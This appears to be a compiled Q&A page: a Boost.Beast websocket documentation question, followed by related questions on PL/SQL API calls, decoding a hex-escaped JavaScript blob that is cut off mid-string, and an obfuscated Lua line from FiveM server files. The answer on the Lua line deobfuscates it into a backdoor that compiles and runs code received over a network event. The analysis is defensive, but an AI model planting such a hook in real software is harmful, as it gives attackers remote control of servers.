about boost beast websocket api : async_close, async_write - boost-beast

I have read the official document.I'm confused that the document conflict itself.
Here is the document picked from the official:
However, this code is well-formed:
ws.async_read(b, [](error_code, std::size_t){});
ws.async_write(b.data(), [](error_code, std::size_t){});
ws.async_ping({}, {});
ws.async_close({}, {});
and here is another snippet:
This operation is implemented in terms of one or more calls to the next layer's async_write_some functions, and is known as a composed operation. The program must ensure that the stream performs no other write operations (such as websocket::stream::async_write, websocket::stream::async_write_some, or websocket::stream::async_close).
so, which one should I trust?

This part is correct:
https://www.boost.org/doc/libs/1_67_0/libs/beast/doc/html/beast/using_websocket/notes.html#beast.using_websocket.notes.thread_safety
The other text needs to be updated.

Related

Does this line of Lua code contain any malicious activities?

So while looking at some server files (FiveM/GTA RP Server Files) my friend sent me, I found a line of code that was placed all over the Server's Resources, is it malicious?, since i checked "Hex to ASCII Text String Converter", it looks like it might be an attempt to inject some code into the Lua environment. The code creates a table with several strings that are encoded in hexadecimal format. These strings are then used to access elements in the global environment (_G) and call them as functions. The code also sets up an event listener for the "load" event, which could indicate that the code is intended to run when a specific event occurs in the environment.
Code:
local ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G}
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[1]
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6][ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[3]](ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[2],
function(BFWCBOOqrwrVwzdmKcQZBRMziBAgjQbWLfBPFXhZUzCWlOjKNLUGOYvDisfytJZwIDtHyn)
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[4]()
end)local
ASCII Text to Hex Code Converter
Image
ASCII Text to Hex Code Converter
Response 2
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG is just a variable name. It's not a very nice one, but it is just a variable name.
{"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64"}
is the table:
{"RegisterNetEvent", "helpCode", "AddEventHandler", "assert", "load"}
with the bytes encoded as hex bytes rather than literal characters.
This deobfuscates to:
local funcs = {
"RegisterNetEvent",
"helpCode",
"AddEventHandler",
"assert",
"load",
_G
};
funcs[6][funcs[1]](funcs[2]);
funcs[6][funcs[3]](funcs[2], function(param)
(funcs[6][funcs[4]](funcs[6][funcs[5]](param)))();
end);
Tables in Lua are 1-indexed, so this further deobfuscates to
_G["RegisterNetEvent"]("helpCode");
_G["AddEventHandler"]("helpCode", function(param)
(_G["assert"](_G["load"](param)))();
end);
And could be simplified to
RegisterNetEvent("helpCode")
AddEventHandler("helpCode", function(param)
assert(load(param))()
end)
While it doesn't look blatantly malicious, it does appear to directly compile and invoke raw code received via the "helpCode" network event, which is certainly dangerous if it's used maliciously. It's possible that this is part of some funny dynamic plugin system, but it's equally possible that it's a backdoor designed to give a network attacker command-and-control over the process.
load is not an event, but the global function used to compile code from a string. The essentially causes the script to listen for a helpCode network event, receive whatever payload from the network event, compile it as Lua code, and execute it. Given that it doesn't even attempt to do any sandboxing of the load'd code, I wouldn't run this without a very comprehensive understanding of how it's being used.

How to Call a Pkg/Procedure Executing an API From a Pkg/Procedure. The API name needs to be Dynamic and Has In and Out Parms

We use APIs, baninst1.PP_DEDUCTION.p_update and baninst1.PP_DEDUCTION.p_create, to maintain our payroll tables of benefit/deduction data. Numerous packages utilize the APIs. We would like to create a package containing the API call that all the existing packages can use and remove the code that is repeated in each package. I tried EXECUTE IMMEDIATE for the purpose of having a dynamic API name. However, I have not been able to get the syntax correct. I’m hoping you will help me.
create or replace PACKAGE BODY "ORBIT"."MM_BENEFITS_COMMON" AS
PROCEDURE PAY_P_EMPLOYEE_BENEFIT_ACTION(pi_benefit_action IN VARCHAR2,
                                                                               pi_pidm                   IN pdrbded.pdrbded_pidm%TYPE,
                                                                               pi_status                  IN pdrdedn.pdrdedn_status%TYPE,
                                                                               pi_bdca_code          IN pdrbded.pdrbded_bdca_code%TYPE,
                                                                               pi_effective_date     IN pdrdedn.pdrdedn_effective_date%TYPE DEFAULT NULL,                                                                               pi_user_id                IN pdrdedn.pdrdedn_user_id%TYPE DEFAULT NULL,                                                                               pi_data_origin          IN pdrdedn.pdrdedn_data_origin%TYPE DEFAULT NULL,
                                                                               po_base_rowid_out  OUT gb_common.internal_record_id_type,
                                                                               po_detail_rowid_out OUT gb_common.internal_record_id_type,
                                                                               pi_amount1              IN pdrdedn.pdrdedn_amount1%TYPE DEFAULT NULL,
                                                                               pi_opt_code1            IN pdrdedn.pdrdedn_opt_code1%TYPE DEFAULT NULL) IS
BEGIN
--Call the API for p_create or p_update.
baninst1.PP_DEDUCTION.pi_benefit_action(p_pidm                  => pi_pidm,
                                                                       p_status                 => pi_status,
                                                                       p_bdca_code          => pi_bdca_code,
                                                                       p_effective_date     => CASE
                                                                                                                 WHEN pi_benefit_action 'p_create' THEN
                                                                                                                       TRUNC(pi_begin_date)
                                                                                                                 ELSE
                                                                                                                       TRUNC(pi_effective_date)
                                                                                                             END,
                                                                      p_user_id                =>   pi_user_id,
                                                                      p_data_origin          =>   pi_data_origin,
                                                                      p_base_rowid_out   =>   po_base_rowid_out,
                                                                      p_detail_rowid_out  =>  po_detail_rowid_out,                                                                      p_amount1              =>  pi_amount1,
                                                                      p_opt_code1            => CASE
                                                                                                                 WHEN LENGTH(pi_opt_code1) = 1 THEN
                                                                                                                        '0' || pi_opt_code1
                                                                                                                 ELSE pi_opt_code1
                                                                                                            END);
END PAY_P_EMPLOYEE_BENEFIT_ACTION;
END MM_BENEFITS_COMMON;
create or replace PACKAGE BODY "ORBIT"."MM_BENEFIT_TEST" AS
PROCEDURE PAY_P_MM_BENEFIT_TEST IS
lv_base_rowid_out    gb_common.internal_record_id_type;
lv_detail_rowid_out   gb_common.internal_record_id_type;
BEGIN
--Pass data to the common benefits package for the api call
MM_BENEFITS_COMMON.PAY_P_EMPLOYEE_BENEFIT_ACTION('p_update', 9999999, 'A', 'VI1', '01-JAN-2022', 'MM_Test',     'MM_TEST', lv_base_rowid_out, lv_detail_rowid_out, 25.82, NULL);
END PAY_P_MM_BENEFIT_TEST;
END MM_BENEFIT_TEST;
I'm not sure what's bothering you, actually. You did post some code, but - I don't know what it represents.
Let's see what you said:
"We use APIs, baninst1.PP_DEDUCTION.p_update and baninst1.PP_DEDUCTION.p_create, to maintain our payroll tables of benefit/deduction data."
OK
"Numerous packages utilize the APIs."
it means that there are many packages and they call those p_update and p_create procedures; that's also OK
"We would like to create a package containing the API call that all the existing packages can use and remove the code that is repeated in each package."
that would be a new package; you'd cut that piece of code from all of your packages and paste it into a new one.
OK, makes sense. Instead of all that code (in every package), you'd put call to newly created procedures (that reside in a newly created package)
"I tried EXECUTE IMMEDIATE for the purpose of having a dynamic API name. However, I have not been able to get the syntax correct."
why dynamic SQL? There's nothing dynamic here. Instead of dozens of lines of code you currently have (that do something), you'd put one line - the one that calls that newly created procedure (and pass parameters)
From my point of view, there's nothing unusual in what you want to do and I can't imagine what problems you could have in doing it; it's pretty much straightforward.

I wan to decode this code. How can I do it?

I want to decode this code 😊. How can I do it?
var _0xc3f1=["\x36\x20\x31\x72\x28\x29\x7B\x37\x20\x65\x3D\x32\x6D\x20\x32\x6E\x2C\x6F\x3D\x65\x2E\x32\x6F\x28\x29\x2C\x6E\x3D\x28\x65\x2E\x32\x70\x28\x29\x2C\x65\x2E\x32\x71\x28\x29\x29\x2C\x74\x3D\x22\x55\x22\x3B\x31\x32\x3E\x6E\x26\x26\x28\x31\x31\x2E\x31\x34\x28\x22\x31\x35\x20\x31\x36\x20\x31\x37\x20\x22\x2B\x6E\x2B\x22\x3A\x22\x2B\x6F\x2B\x22\x20\x55\x22\x29\x2C\x6E\x3D\x6E\x2C\x74\x3D\x22\x55\x22\x29\x2C\x31\x32\x3D\x3D\x6E\x26\x26\x28\x31\x31\x2E\x31\x34\x28\x22\x31\x35\x20\x31\x36\x20\x31\x37\x20\x22\x2B\x6E\x2B\x22\x3A\x22\x2B\x6F\x2B\x22\x20\x31\x38\x22\x29\x2C\x74\x3D\x22\x31\x38\x22\x29\x2C\x32\x34\x3D\x3D\x6E\x26\x26\x28\x31\x31\x2E\x31\x34\x28\x22\x31\x35\x20\x31\x36\x20\x31\x37\x20\x22\x2B\x28\x6E\x2D\x31\x32\x29\x2B\x22\x3A\x22\x2B\x6F\x2B\x22\x20\x55\x22\x29\x2C\x6E\x3D\x31\x32\x2C\x74\x3D\x22\x55\x22\x29\x2C\x6E\x3E\x31\x32\x26\x26\x28\x31\x31\x2E\x31\x34\x28\x22\x31\x35\x20\x31\x36\x20\x31\x37\x20\x22\x2B\x28\x6E\x2D\x31\x32\x29\x2B\x22\x3A\x22\x2B\x6F\x2B\x22\x20\x31\x38\x22\x29\x2C\x6E\x2D\x3D\x31\x32\x2C\x74\x3D\x22\x31\x38\x22\x29\x2C\x31\x30\x3E\x6F\x26\x26\x28\x6F\x3D\x22\x30\x22\x2B\x6F\x29\x2C\x31\x30\x3E\x6E\x26\x26\x28\x6E\x3D\x22\x30\x22\x2B\x6E\x29\x2C\x41\x2E\x31\x44\x28\x22\x32\x72\x22\x29\x2E\x31\x45\x3D\x6E\x2C\x41\x2E\x31\x44\x28\x22\x32\x73\x22\x29\x2E\x31\x45\x3D\x6F\x2B\x22\x3A\x22\x2B\x74\x7D\x31\x72\x28\x29\x2C\x32\x74\x28\x31\x72\x2C\x32\x75\x29\x3B\x24\x28\x22\x2E\x50\x2D\x31\x39\x2D\x31\x61\x22\x29\x2E\x44\x28\x22\x45\x22\x2C\x36\x28\x29\x7B\x24\x28\x22\x2E\x50\x2D\x31\x39\x22\x29\x2E\x71\x28\x22\x50\x2D\x31\x61\x22\x29\x7D\x29\x2C\x24\x28\x22\x2E\x50\x2D\x31\x39\x2D\x31\x46\x22\x29\x2E\x44\x28\x22\x45\x22\x2C\x36\x28\x29\x7B\x24\x28\x22\x2E\x50\x2D\x31\x39\x22\x29\x2E\x70\x28\x22\x50\x2D\x31\x61\x22\x29\x7D\x29\x3B\x37\x20\x31\x73\x3D\x22\x31\x47\x3A\x2F\x2F\x32\x76\x2E\x32\x77\x2E\x32\x78\x2F\x76\x2F\x32\x79\x2E\x32\x7A\x22\x3B\x37\x20\x32\x41\x3D\x5B\x2C\x22\x32\x42\x22\x2C\x22\x32\x43\x22\x2C\x22\x32\x44\x22\x2C\x22\x32\x45\x22\x2C\x22\x32\x46\x22\x2C\x22\x32\x47\x22\x2C\x22\x32\x48\x22\x2C\x22\x32\x49\x22\x2C\x22\x32\x4A\x22\x2C\x22\x32\x4B\x22\x2C\x22\x32\x4C\x22\x2C\x22\x32\x4D\x22\x5D\x3B\x24\x28\x36\x28\x29\x7B\x37\x20\x65\x3D\x24\x28\x41\x29\x2E\x31\x62\x28\x29\x2C\x6F\x3D\x24\x28\x22\x2E\x46\x2D\x47\x22\x29\x2E\x32\x4E\x28\x29\x3B\x24\x28\x31\x74\x29\x2E\x56\x28\x36\x28\x29\x7B\x37\x20\x73\x3D\x24\x28\x41\x29\x2E\x31\x62\x28\x29\x3B\x24\x28\x41\x29\x2E\x31\x62\x28\x29\x3E\x3D\x32\x4F\x3F\x24\x28\x22\x2E\x46\x2D\x47\x22\x29\x2E\x31\x48\x28\x22\x31\x49\x22\x2C\x22\x31\x4A\x22\x29\x3A\x24\x28\x22\x2E\x46\x2D\x47\x22\x29\x2E\x31\x48\x28\x22\x31\x49\x22\x2C\x22\x31\x4A\x22\x29\x2C\x73\x3E\x6F\x3F\x24\x28\x22\x2E\x46\x2D\x47\x22\x29\x2E\x71\x28\x22\x56\x22\x29\x3A\x24\x28\x22\x2E\x46\x2D\x47\x22\x29\x2E\x70\x28\x22\x56\x22\x29\x2C\x73\x3E\x65\x3F\x24\x28\x22\x2E\x46\x2D\x47\x22\x29\x2E\x70\x28\x22\x77\x2D\x56\x22\x29\x3A\x24\x28\x22\x2E\x46\x2D\x47\x22\x29\x2E\x71\x28\x22\x77\x2D\x56\x22\x29\x2C\x65\x3D\x24\x28\x41\x29\x2E\x31\x62\x28\x29\x7D\x29\x7D\x29\x3B\x24\x28\x22\x2E\x48\x2D\x31\x4B\x20\x2E\x31\x4C\x20\x2E\x31\x4D\x2D\x49\x22\x29\x2E\x42\x28\x36\x28\x29\x7B\x37\x20\x65\x3D\x24\x28\x34\x29\x2E\x6B\x28\x22\x57\x22\x29\x2E\x67\x28\x22\x31\x75\x2D\x78\x22\x29\x2C\x74\x3D\x28\x24\x28\x34\x29\x2E\x6B\x28\x22\x57\x22\x29\x2E\x67\x28\x22\x31\x75\x2D\x77\x22\x29\x2C\x24\x28\x34\x29\x2E\x31\x76\x28\x29\x2E\x67\x28\x22\x31\x77\x22\x29\x29\x2C\x61\x3D\x24\x28\x34\x29\x2E\x6B\x28\x22\x57\x22\x29\x2E\x67\x28\x22\x31\x75\x2D\x31\x78\x22\x29\x3B\x61\x2E\x32\x50\x28\x22\x48\x22\x29\x26\x26\x24\x2E\x31\x4E\x28\x7B\x31\x63\x3A\x22\x2F\x31\x4F\x2F\x31\x64\x2F\x4A\x2F\x2D\x2F\x22\x2B\x65\x2B\x22\x3F\x31\x65\x3D\x31\x50\x2D\x31\x51\x2D\x31\x52\x26\x31\x53\x2D\x31\x54\x3D\x33\x22\x2C\x31\x78\x3A\x22\x31\x55\x22\x2C\x31\x56\x3A\x22\x31\x57\x22\x2C\x31\x58\x3A\x36\x28\x65\x29\x7B\x31\x66\x28\x37\x20\x61\x3D\x22\x22\x2C\x72\x3D\x22\x3C\x31\x59\x3E\x22\x2C\x6E\x3D\x30\x3B\x6E\x3C\x65\x2E\x38\x2E\x39\x2E\x31\x67\x3B\x6E\x2B\x2B\x29\x7B\x31\x66\x28\x37\x20\x69\x3D\x30\x3B\x69\x3C\x65\x2E\x38\x2E\x39\x5B\x6E\x5D\x2E\x51\x2E\x31\x67\x3B\x69\x2B\x2B\x29\x43\x28\x22\x31\x5A\x22\x3D\x3D\x65\x2E\x38\x2E\x39\x5B\x6E\x5D\x2E\x51\x5B\x69\x5D\x2E\x32\x30\x29\x7B\x61\x3D\x65\x2E\x38\x2E\x39\x5B\x6E\x5D\x2E\x51\x5B\x69\x5D\x2E\x7A\x3B\x32\x31\x7D\x37\x20\x6C\x3D\x65\x2E\x38\x2E\x39\x5B\x6E\x5D\x2E\x6A\x2E\x24\x74\x2C\x73\x3D\x65\x2E\x38\x2E\x39\x5B\x6E\x5D\x2E\x32\x32\x5B\x30\x5D\x2E\x32\x33\x2C\x64\x3D\x65\x2E\x38\x2E\x39\x5B\x6E\x5D\x2E\x49\x2E\x24\x74\x2C\x63\x3D\x24\x28\x22\x3C\x62\x3E\x22\x29\x2E\x31\x68\x28\x64\x29\x3B\x43\x28\x64\x2E\x31\x69\x28\x22\x2F\x2F\x32\x35\x2E\x32\x36\x2E\x31\x79\x2F\x32\x37\x2F\x22\x29\x3E\x2D\x31\x29\x37\x20\x66\x3D\x65\x2E\x38\x2E\x39\x5B\x6E\x5D\x2E\x32\x38\x24\x32\x39\x2E\x31\x63\x2C\x6F\x3D\x66\x3B\x31\x6A\x20\x43\x28\x64\x2E\x31\x69\x28\x22\x3C\x76\x22\x29\x3E\x2D\x31\x29\x37\x20\x68\x3D\x63\x2E\x6B\x28\x22\x76\x3A\x32\x61\x22\x29\x2E\x67\x28\x22\x31\x6B\x22\x29\x2C\x6F\x3D\x68\x3B\x31\x6A\x20\x37\x20\x6F\x3D\x31\x73\x3B\x72\x2B\x3D\x27\x3C\x31\x6C\x3E\x3C\x62\x20\x6D\x3D\x22\x32\x62\x22\x3E\x3C\x61\x20\x7A\x3D\x22\x27\x2B\x61\x2B\x27\x22\x3E\x3C\x76\x20\x31\x65\x3D\x22\x27\x2B\x6C\x2B\x27\x22\x20\x31\x6B\x3D\x22\x27\x2B\x6F\x2B\x27\x22\x20\x6A\x3D\x22\x27\x2B\x6C\x2B\x27\x22\x2F\x3E\x3C\x2F\x61\x3E\x3C\x2F\x62\x3E\x3C\x62\x20\x6D\x3D\x22\x48\x2D\x32\x51\x22\x3E\x3C\x61\x20\x6D\x3D\x22\x32\x52\x20\x27\x2B\x73\x2B\x27\x22\x20\x7A\x3D\x22\x2F\x32\x53\x2F\x78\x2F\x27\x2B\x73\x2B\x27\x22\x20\x6A\x3D\x22\x27\x2B\x73\x2B\x27\x22\x3E\x3C\x2F\x61\x3E\x3C\x2F\x62\x3E\x3C\x62\x20\x6D\x3D\x22\x48\x2D\x49\x22\x3E\x3C\x31\x6D\x20\x6D\x3D\x22\x48\x2D\x6A\x22\x3E\x3C\x61\x20\x7A\x3D\x22\x27\x2B\x61\x2B\x27\x22\x20\x6A\x3D\x22\x27\x2B\x6C\x2B\x27\x22\x3E\x27\x2B\x6C\x2B\x27\x3C\x2F\x61\x3E\x3C\x2F\x31\x6D\x3E\x3C\x2F\x62\x3E\x3C\x62\x20\x6D\x3D\x22\x32\x63\x22\x2F\x3E\x3C\x2F\x31\x6C\x3E\x27\x7D\x72\x2B\x3D\x22\x3C\x2F\x31\x59\x3E\x22\x2C\x24\x28\x22\x2E\x48\x2D\x31\x4B\x20\x2E\x31\x4C\x20\x2E\x31\x4D\x2D\x49\x22\x29\x2E\x42\x28\x36\x28\x29\x7B\x37\x20\x65\x3D\x24\x28\x34\x29\x2E\x31\x76\x28\x29\x2E\x67\x28\x22\x31\x77\x22\x29\x3B\x65\x3D\x3D\x74\x26\x26\x28\x24\x28\x34\x29\x2E\x31\x68\x28\x72\x29\x2C\x24\x28\x34\x29\x2E\x31\x76\x28\x29\x2E\x71\x28\x22\x48\x22\x29\x2C\x24\x28\x34\x29\x2E\x6B\x28\x22\x2E\x32\x62\x22\x29\x2E\x42\x28\x36\x28\x29\x7B\x24\x28\x34\x29\x2E\x67\x28\x22\x31\x6E\x22\x2C\x36\x28\x65\x2C\x74\x29\x7B\x4B\x20\x74\x2E\x52\x28\x22\x2F\x4A\x2E\x53\x22\x2C\x22\x2F\x31\x7A\x2E\x53\x22\x29\x7D\x29\x2E\x67\x28\x22\x31\x6E\x22\x2C\x36\x28\x65\x2C\x74\x29\x7B\x4B\x20\x74\x2E\x52\x28\x22\x31\x41\x2D\x63\x22\x2C\x22\x31\x42\x22\x29\x7D\x29\x7D\x29\x29\x7D\x29\x7D\x7D\x29\x7D\x29\x2C\x24\x28\x22\x23\x4C\x2D\x31\x64\x22\x29\x2E\x42\x28\x36\x28\x29\x7B\x37\x20\x65\x3D\x24\x28\x34\x29\x2E\x58\x28\x29\x3B\x24\x2E\x31\x4E\x28\x7B\x31\x63\x3A\x22\x2F\x31\x4F\x2F\x31\x64\x2F\x4A\x2F\x2D\x2F\x22\x2B\x65\x2B\x22\x3F\x31\x65\x3D\x31\x50\x2D\x31\x51\x2D\x31\x52\x26\x31\x53\x2D\x31\x54\x3D\x33\x22\x2C\x31\x78\x3A\x22\x31\x55\x22\x2C\x31\x56\x3A\x22\x31\x57\x22\x2C\x31\x58\x3A\x36\x28\x65\x29\x7B\x31\x66\x28\x37\x20\x74\x3D\x22\x22\x2C\x61\x3D\x27\x3C\x62\x20\x6D\x3D\x22\x4C\x2D\x32\x54\x22\x3E\x27\x2C\x72\x3D\x30\x3B\x72\x3C\x65\x2E\x38\x2E\x39\x2E\x31\x67\x3B\x72\x2B\x2B\x29\x7B\x31\x66\x28\x37\x20\x6E\x3D\x30\x3B\x6E\x3C\x65\x2E\x38\x2E\x39\x5B\x72\x5D\x2E\x51\x2E\x31\x67\x3B\x6E\x2B\x2B\x29\x43\x28\x22\x31\x5A\x22\x3D\x3D\x65\x2E\x38\x2E\x39\x5B\x72\x5D\x2E\x51\x5B\x6E\x5D\x2E\x32\x30\x29\x7B\x74\x3D\x65\x2E\x38\x2E\x39\x5B\x72\x5D\x2E\x51\x5B\x6E\x5D\x2E\x7A\x3B\x32\x31\x7D\x37\x20\x69\x3D\x65\x2E\x38\x2E\x39\x5B\x72\x5D\x2E\x6A\x2E\x24\x74\x2C\x6C\x3D\x28\x65\x2E\x38\x2E\x39\x5B\x72\x5D\x2E\x32\x32\x5B\x30\x5D\x2E\x32\x33\x2C\x65\x2E\x38\x2E\x39\x5B\x72\x5D\x2E\x32\x55\x5B\x30\x5D\x2E\x32\x56\x2E\x24\x74\x2C\x65\x2E\x38\x2E\x39\x5B\x72\x5D\x2E\x49\x2E\x24\x74\x29\x2C\x73\x3D\x24\x28\x22\x3C\x62\x3E\x22\x29\x2E\x31\x68\x28\x6C\x29\x3B\x43\x28\x6C\x2E\x31\x69\x28\x22\x2F\x2F\x32\x35\x2E\x32\x36\x2E\x31\x79\x2F\x32\x37\x2F\x22\x29\x3E\x2D\x31\x29\x37\x20\x64\x3D\x65\x2E\x38\x2E\x39\x5B\x72\x5D\x2E\x32\x38\x24\x32\x39\x2E\x31\x63\x2E\x52\x28\x22\x2F\x4A\x2E\x53\x22\x2C\x22\x2F\x31\x7A\x2E\x53\x22\x29\x2C\x63\x3D\x64\x3B\x31\x6A\x20\x43\x28\x6C\x2E\x31\x69\x28\x22\x3C\x76\x22\x29\x3E\x2D\x31\x29\x37\x20\x66\x3D\x73\x2E\x6B\x28\x22\x76\x3A\x32\x61\x22\x29\x2E\x67\x28\x22\x31\x6B\x22\x29\x2E\x52\x28\x22\x31\x41\x2D\x63\x22\x2C\x22\x31\x42\x22\x29\x2C\x63\x3D\x66\x3B\x31\x6A\x20\x37\x20\x63\x3D\x31\x73\x3B\x61\x2B\x3D\x27\x3C\x31\x6C\x3E\x3C\x62\x20\x6D\x3D\x22\x4C\x2D\x76\x22\x3E\x3C\x61\x20\x7A\x3D\x22\x27\x2B\x74\x2B\x27\x22\x3E\x3C\x76\x20\x31\x65\x3D\x22\x27\x2B\x69\x2B\x27\x22\x20\x31\x6B\x3D\x22\x27\x2B\x63\x2B\x27\x22\x20\x6A\x3D\x22\x27\x2B\x69\x2B\x27\x22\x2F\x3E\x3C\x2F\x61\x3E\x3C\x2F\x62\x3E\x3C\x62\x20\x6D\x3D\x22\x4C\x2D\x49\x22\x3E\x3C\x31\x6D\x20\x6D\x3D\x22\x4C\x2D\x6A\x22\x3E\x3C\x61\x20\x7A\x3D\x22\x27\x2B\x74\x2B\x27\x22\x20\x6A\x3D\x22\x27\x2B\x69\x2B\x27\x22\x3E\x27\x2B\x69\x2B\x22\x3C\x2F\x61\x3E\x3C\x2F\x31\x6D\x3E\x3C\x2F\x62\x3E\x3C\x2F\x31\x6C\x3E\x22\x7D\x61\x2B\x3D\x27\x3C\x2F\x62\x3E\x3C\x62\x20\x6D\x3D\x22\x32\x63\x22\x2F\x3E\x27\x2C\x24\x28\x22\x23\x4C\x2D\x31\x64\x22\x29\x2E\x31\x68\x28\x61\x29\x2C\x24\x28\x34\x29\x2E\x6B\x28\x22\x2E\x4C\x2D\x76\x22\x29\x2E\x42\x28\x36\x28\x29\x7B\x24\x28\x34\x29\x2E\x67\x28\x22\x31\x6E\x22\x2C\x36\x28\x65\x2C\x74\x29\x7B\x4B\x20\x74\x2E\x52\x28\x22\x2F\x4A\x2E\x53\x22\x2C\x22\x2F\x31\x7A\x2E\x53\x22\x29\x7D\x29\x2E\x67\x28\x22\x31\x6E\x22\x2C\x36\x28\x65\x2C\x74\x29\x7B\x4B\x20\x74\x2E\x52\x28\x22\x31\x41\x2D\x63\x22\x2C\x22\x31\x42\x22\x29\x7D\x29\x7D\x29\x7D\x7D\x29\x7D\x29\x3B\x36\x20\x32\x64\x28\x65\x29\x7B\x37\x20\x74\x3D\x21\x30\x3B\x43\x28\x35\x28\x22\x23\x22\x2B\x65\x2B\x22\x20\x2E\x31\x6F\x22\x29\x2E\x42\x28\x36\x28\x29\x7B\x22\x22\x21\x3D\x24\x2E\x31\x70\x28\x35\x28\x34\x29\x2E\x54\x28\x29\x29\x26\x26\x22\x4A\x22\x21\x3D\x24\x2E\x31\x70\x28\x35\x28\x34\x29\x2E\x54\x28\x29\x29\x7C\x7C\x35\x28\x34\x29\x2E\x71\x28\x22\x59\x22\x29\x7D\x29\x2C\x35\x28\x22\x23\x22\x2B\x65\x2B\x22\x20\x2E\x31\x6F\x22\x29\x2E\x42\x28\x36\x28\x29\x7B\x4B\x22\x22\x3D\x3D\x24\x2E\x31\x70\x28\x35\x28\x34\x29\x2E\x54\x28\x29\x29\x3F\x28\x74\x3D\x21\x31\x2C\x35\x28\x34\x29\x2E\x4D\x28\x22\x78\x22\x29\x2E\x6B\x28\x22\x2E\x5A\x22\x29\x2E\x71\x28\x22\x4E\x22\x29\x2C\x35\x28\x34\x29\x2E\x59\x28\x29\x2C\x21\x31\x29\x3A\x22\x4A\x22\x3D\x3D\x24\x2E\x31\x70\x28\x35\x28\x34\x29\x2E\x54\x28\x29\x29\x3F\x28\x74\x3D\x21\x31\x2C\x35\x28\x34\x29\x2E\x4D\x28\x22\x78\x22\x29\x2E\x6B\x28\x22\x2E\x5A\x22\x29\x2E\x71\x28\x22\x4E\x22\x29\x2C\x21\x31\x29\x3A\x32\x57\x20\x30\x7D\x29\x2C\x74\x3D\x3D\x3D\x21\x30\x29\x7B\x37\x20\x69\x3D\x22\x22\x2C\x61\x3D\x22\x31\x47\x3A\x2F\x2F\x32\x58\x2E\x31\x71\x2E\x31\x79\x2F\x32\x65\x22\x3B\x43\x28\x2F\x32\x59\x7C\x32\x5A\x7C\x33\x30\x7C\x33\x31\x7C\x33\x32\x7C\x33\x33\x7C\x33\x34\x7C\x33\x35\x20\x33\x36\x2F\x69\x2E\x33\x37\x28\x33\x38\x2E\x33\x39\x29\x26\x26\x28\x61\x3D\x22\x31\x71\x3A\x2F\x2F\x32\x65\x22\x29\x2C\x22\x33\x61\x22\x3D\x3D\x3D\x65\x29\x37\x20\x73\x3D\x33\x62\x2C\x72\x3D\x33\x63\x2C\x6E\x3D\x22\x33\x64\x22\x2C\x6F\x3D\x22\x33\x65\x22\x2C\x6C\x3D\x28\x35\x28\x22\x23\x22\x2B\x65\x2B\x22\x20\x2E\x6A\x2D\x49\x22\x29\x2E\x58\x28\x29\x2C\x35\x28\x22\x23\x22\x2B\x65\x2B\x22\x20\x2E\x33\x66\x22\x29\x2E\x54\x28\x29\x29\x2C\x69\x3D\x61\x2B\x22\x3F\x33\x67\x3D\x22\x2B\x73\x2B\x72\x2B\x22\x26\x58\x3D\x2A\x22\x2B\x6F\x2B\x22\x20\x22\x2B\x6E\x2B\x22\x2E\x2E\x2E\x2A\x20\x25\x32\x66\x25\x32\x66\x22\x2B\x6C\x3B\x35\x28\x34\x29\x2E\x67\x28\x22\x7A\x22\x2C\x69\x29\x3B\x37\x20\x75\x3D\x33\x68\x2C\x68\x3D\x33\x69\x2C\x63\x3D\x32\x67\x28\x32\x68\x2E\x32\x69\x2F\x32\x2D\x75\x2F\x32\x29\x2C\x64\x3D\x32\x67\x28\x32\x68\x2E\x32\x6A\x2F\x32\x2D\x68\x2F\x32\x29\x2C\x79\x3D\x31\x74\x2E\x31\x46\x28\x34\x2E\x7A\x2C\x22\x22\x2C\x22\x33\x6A\x3D\x77\x2C\x20\x33\x6B\x3D\x77\x2C\x20\x33\x6C\x3D\x77\x2C\x20\x33\x6D\x3D\x77\x2C\x20\x33\x6E\x3D\x77\x2C\x20\x33\x6F\x3D\x33\x70\x2C\x20\x33\x71\x3D\x31\x2C\x20\x33\x72\x3D\x77\x2C\x20\x32\x69\x3D\x22\x2B\x75\x2B\x22\x2C\x20\x32\x6A\x3D\x22\x2B\x68\x2B\x22\x2C\x20\x33\x73\x3D\x22\x2B\x64\x2B\x22\x2C\x20\x33\x74\x3D\x22\x2B\x63\x29\x3B\x4B\x20\x79\x2E\x59\x28\x29\x2C\x21\x31\x7D\x7D\x31\x74\x2E\x33\x75\x28\x22\x33\x76\x22\x2C\x36\x28\x29\x7B\x37\x20\x65\x3D\x35\x28\x22\x6A\x22\x29\x2E\x58\x28\x29\x3B\x35\x28\x22\x2E\x33\x77\x22\x29\x2E\x44\x28\x22\x45\x22\x2C\x36\x28\x29\x7B\x35\x28\x34\x29\x2E\x70\x28\x22\x4E\x22\x29\x2C\x35\x28\x22\x6A\x22\x29\x2E\x58\x28\x65\x29\x7D\x29\x2C\x35\x28\x22\x2E\x4F\x20\x33\x78\x2C\x20\x2E\x4F\x20\x33\x79\x22\x29\x2E\x44\x28\x22\x33\x7A\x22\x2C\x36\x28\x29\x7B\x31\x33\x3D\x3D\x3D\x33\x41\x2E\x33\x42\x26\x26\x35\x